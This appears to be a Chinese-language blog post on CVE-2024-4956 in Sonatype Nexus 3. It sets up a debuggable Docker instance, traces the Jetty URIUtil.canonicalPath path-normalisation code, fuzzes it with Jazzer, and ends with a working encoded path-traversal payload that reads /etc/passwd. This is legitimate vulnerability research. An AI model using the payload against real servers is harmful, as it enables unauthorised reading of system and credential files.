Nexus CVE-2024-4956漏洞代码调试分析

环境搭建

1
docker pull sonatype/nexus3:3.68.0-java8

image-20240605120449689

1
docker run -d -p 8081:8081 -p 5005:5005 --name nexus  sonatype/nexus3:3.68.0-java8

image-20240605121631509

1
docker cp 0b76fa8a3195:/opt/sonatype/nexus /root/tmp/nexus

image-20240605121704096

1
2
mkdir all-lib
find . -name "*.jar" -exec cp {} all-lib/ \;

image-20240605121924156

image-20240605121953395

1
tar -czvf all-lib.tar.gz all-lib/

image-20240605122347205

全选all-lib中的jar包添加到IDEA进行Add as Library

1
2
docker run -d -p 8081:8081 -p 5005:5005 --name nexus -e INSTALL4J_ADD_VM_PARAMS="
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8

image-20240606085515582

image-20240606090416260

程序调试

对比程序,在修改处WebResourceServiceImpl getResource()处下断点

image-20240607204040615

访问http://192.168.127.128:8081/robots.txt成功断下

image-20240607204532406

step into进入getResource

image-20240607204639993

再次step into

image-20240607204744490

继续跟踪程序在super.getResource跟进

image-20240607204817131

image-20240607205110298

image-20240607205135240

跟进addPath

image-20240607205458641

这里要使URIUtil.canonicalPath的结果不为NULL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public static String canonicalPath(String path) {
if (path != null && !path.isEmpty()) {
boolean slash = true;
int end = path.length();

int i;
label68:
for(i = 0; i < end; ++i) {
char c = path.charAt(i);
switch(c) {
case '.':
if (slash) {
break label68;
}

slash = false;
break;
case '/':
slash = true;
break;
default:
slash = false;
}
}

if (i == end) {
return path;
} else {
StringBuilder canonical = new StringBuilder(path.length());
canonical.append(path, 0, i);
int dots = 1;
++i;

for(; i < end; ++i) {
char c = path.charAt(i);
switch(c) {
case '.':
if (dots > 0) {
++dots;
} else if (slash) {
dots = 1;
} else {
canonical.append('.');
}

slash = false;
continue;
case '/':
if (doDotsSlash(canonical, dots)) {
return null;
}

slash = true;
dots = 0;
continue;
}

while(dots-- > 0) {
canonical.append('.');
}

canonical.append(c);
dots = 0;
slash = false;
}

if (doDots(canonical, dots)) {
return null;
} else {
return canonical.toString();
}
}
} else {
return path;
}
}

image-20240607205527973

最后会返回一个PathResource对象,看下这个对象的构造方法

image-20240607210127747

重新DEBUG在此处下断点

image-20240607210338031

跟进URIUtil.addPath

image-20240607210452426

encodePath其中会对url进行一波编码

image-20240607210636796

Jazzer

add as library

image-20240607212803557

image-20240607212250378

image-20240607213847843

image-20240607213553370

image-20240607213605231

image-20240607213937108

1
2
3
4
5
6
7
8
9
javac -cp nexus.jar;jazzer_standalone.jar Fuzztest.java
jar -cvf Fuzztest.jar Fuzztest.class

# 解压打包成新的out.jar
jar -xvf Fuzztest.jar
jar -xvf jetty-util-9.4.53.v20231009.jar
jar -cvfM out.jar .

jazzer.exe --cp=out.jar --target_class="Fuzztest" -use_value_profile=1

漏洞复现

1
/.%2f/..%2f/..%2f/..%2f/..%2f/etc/passwd

image-20240607211022316

__END__